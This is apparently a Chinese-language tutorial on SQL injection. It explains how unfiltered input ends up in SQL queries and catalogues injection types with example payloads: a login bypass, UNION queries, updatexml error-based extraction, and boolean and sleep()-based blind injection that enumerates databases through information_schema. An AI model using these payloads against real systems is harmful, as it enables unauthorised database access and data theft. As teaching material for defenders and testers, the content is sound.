简介
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的内容判断和过滤,导致其传入的“威胁数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损。
攻击过程中,一些重要的SQL语句如下:
# 查询MYSQL用户
select user();
# 查询当前所在数据库
select database();
# 获取所有数据库
select schema_name from information_schema.schemata;
# 查看某个库的所有表
select table_name from information_schema.tables where table_schema='db_name';
# 查看某张表的列名称
select column_name from information_schema.columns where table_name='users' and table_schema='db_name';
注入原理
在前端常常存在与数据库交互的功能,例如最简单的用户登录,用户需要输入对应的账户密码,提交登录请求给后台,后台拿到数据后会进行SQL查询,例如用户输入了 Lily
和123456
,提交到后台,那么后台将会执行的SQL语句如下:
select * from users where users.username="Lily" and users.password="123456";
当攻击者提交恶意的数据,并且后台并没有对账户密码进行校验,例如用户输入的账户是Lily" or 1 #
, 则最终执行的SQL语句则变成:
select * from users where users.username="Lily" or 1#" and users.password="123456";
此攻击数据中Lily"
把前面的双引号闭合,并且or 1
使得查询的where条件进行总为True,而#
把后面语句进行了注释,那么通过此方式即把登录的验证绕过了。
因此SQL注入的原理可以简单理解为在数据提交阶段进行SQL语句的恶意拼接
。
常见SQL注入方式
按数据类型区分
- 数字型
# 例如在通过ID查询对象的时候,原本提交的数据为:
GET /getUserByID?id=1
select * from user where id =1
# 恶意拼接如下:
GET /getUserByID?id=1 or 1=1
select * from user where id =1 or 1=1
# 加入or 1=1 即可查询所有用户
- 字符型
# 例如在通过name查询对象的时候,原本提交的数据为:
GET /getUserByName?name=Lily
select * from user where name='Lily'
# 恶意拼接如下:
GET /getUserByName?name=Lily' or 1=1#
select * from user where name='Lily' or 1=1#'
- 搜索型
# 例如通过关键字符串查询用户
GET /searchUser?param=Li
select * from user where name like "%Li%";;
# 恶意拼接如下:
GET /searchUser?param=Li%" or 1=1#
select * from user where name like "%Li%";
select * from user where name like "%Li%" or 1=1#%";
按提交方式区分
- GET型
- POST型
- Cooike型
- HTTP请求头型
按执行效果区分
- 报错注入
在报错注入中,我们最常用的包括floor()、updatexml()、extractvalue()
函数,
a' or updatexml(1,concat(0x7e,database()),0) or'
- 联合查询注入
# 例如在通过name查询对象的时候,原本提交的数据为:
GET /getUserByName?name=Lily
select * from user where name='Lily'
# 恶意拼接如下:
GET /getUserByName?name=Lily' union select user(),database();#
select * from user where name='Lily' union select user(),database();#'
- BOOL型盲注
盲注的使用情景是在页面不会直接返回查询数据,只能通过当前执行结果的True or False 来判断,BOOL型判断方式包含对数据库内容的长度,ASCII码来定位数据库信息。
kobe' and length(database())>1#
kobe' and (ascii(substr(database(),1,1)))>97#
- 时间型盲注
时间型盲注适用于,在不管执行任何查询或操作,都不会将任何结果反馈在页面上,那么可以通过在SQL语句中插入延时来判断SQL执行的结果。
# 猜解当前数据库名的长度,如果长度大于0就会延时5s
1'and if(length(database())>0,sleep(5),0)#
# 猜解当前数据库中数据表的个数
1'and if((select count(*) from information_schema.tables where table_schema=database())>3,sleep(3),0)#
# 猜解当前数据库中的第一个数据表的第一个字符的ASCII
1'and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>97,sleep(3),0)#
- 宽字节注入
https://blog.csdn.net/helloc0de/article/details/76180190
- 堆查询注入